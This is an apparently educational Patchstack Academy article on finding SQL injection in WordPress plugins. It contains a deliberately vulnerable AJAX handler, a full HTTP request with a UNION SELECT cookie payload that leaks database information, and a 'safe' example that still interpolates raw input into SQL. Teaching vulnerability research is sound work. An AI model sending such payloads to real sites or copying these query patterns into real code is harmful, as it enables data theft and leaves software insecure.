Skip to content
Patchstack Academy

SQL Injection (SQLi)

Introduction

This article covers cases of possible SQLi on WordPress. This includes improper usage of functions and user input handling inside of the plugin/theme which can be used to inject a malicious query into the SQL execution to leak sensitive data.

Learn how to secure your code against SQL Injection

Useful Functions

Several functions could be useful to identify a possible SQLi vulnerability:

Example Cases

Below is an example of vulnerable code:

add_action("wp_ajax_nopriv_load_questions", "load_questions");


function load_questions(){
    global $wpdb;


    $quiz_id = $_GET["quiz_id"];


    if ( isset($_COOKIE[ 'question_ids_'.$quiz_id ]) ) {
        $question_sql = sanitize_text_field( wp_unslash( $_COOKIE[ 'question_ids_'.$quiz_id ] ) );
    }else {
        $question_ids = array("1","2","3");
        $question_sql = implode( ',', $question_ids );
    }


    $order_by_sql = 'ORDER BY FIELD(question_id,'.$question_sql.')';


    $query     = $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}custom_questions WHERE question_id IN (%1s)", $question_sql);
    $questions = $wpdb->get_results( stripslashes( $query ) );


    wp_send_json($questions);
}

The vulnerable variable, in this case, is the $question_sql variable where the value is passed from $_COOKIE[ 'question_ids_'.$quiz_id ] value without proper sanitization or escaping. The sanitize_text_field function is not enough to prevent SQL Injection since the $question_sql variable is constructed inside an ORDER BY clause without proper escaping.

To exploit this, any unauthenticated user just needs to perform a POST request to the /wp-admin/admin-ajax.php endpoint specifying the needed action and parameter to trigger the SQL Injection (let’s say that the {$wpdb->prefix}custom_questions table has 5 columns):

GET /wp-admin/admin-ajax.php?action=load_questions&quiz_id=1 HTTP/1.1
Host: localhost
Cookie: question_ids_1=1%29%20and%20false%20union%20select%20database%28%29%2C%271337%27%2C%271337%27%2Cuser%28%29%2C%271337%27%20--%20-%20
Connection: close

Below are some of the findings related to SQLi:

Magic Quotes

Magic Quotes is/was a feature in PHP designed to automatically escape certain characters in user input to prevent SQL injection (SQLi) attacks. Specifically, it would escape single quotes (’), double quotes (”), backslashes (), and NULL characters by automatically adding backslashes before them. This was done to protect against common vulnerabilities like SQL injection, where an attacker might try to insert malicious SQL code into a query.

It is not the perfect solution. It is mostly inconsistent, meaning that it only escapes certain characters. Depending on how the code works it might still allow for SQL injections or corrupted data in the database.

It was optional for PHP but it is disabled. Why we are mentioning it here? It still lives in WordPress via wp_magic_quotes() .

As mentioned on that page, it is a private function so developers don’t need to implement it. If any code is executed inside WordPress hooks, inputs ($_GET, $_POST, $_COOKIE, and $_SERVER) will go through the add_magic_quotes()

function add_magic_quotes( $input_array ) {
  foreach ( (array) $input_array as $k => $v ) {
    if ( is_array( $v ) ) {
      $input_array[ $k ] = add_magic_quotes( $v );
    } elseif ( is_string( $v ) ) {
      $input_array[ $k ] = addslashes( $v );
    }
  }


  return $input_array;
}

and gets sanitized due to addslashes().

So even a super simple vulnerable-looking code like select * from users where '$injection_here'; will be escaped and turn into something like SELECT * FROM users where '\'testpayload'; inside a WordPress hook and you will not be able to exploit it in almost all scenarios.

Safe Code:

add_action('init', function() {
    $input = $_POST['input'];
    global $wpdb;
    $query = "SELECT * FROM users WHERE name = '$input'";
    $result = $wpdb->get_results($query);
    // Display the result
    if ($result) {
        foreach ($result as $row) {
            echo "User: " . esc_html($row->name);
        }
    }
});

Vulnerable Code:

add_action('init', function() {
    $input = wp_unslash($_POST['input']);
    global $wpdb;
    $query = "SELECT * FROM users WHERE name = '$input'";
    $result = $wpdb->get_results($query);
    // Display the result
    if ($result) {
        foreach ($result as $row) {
            echo "User: " . esc_html($row->name);
        }
    }
});

If the input is unslashed using wp_unslash() it will still be exploitable.

Contributors

rafiembk273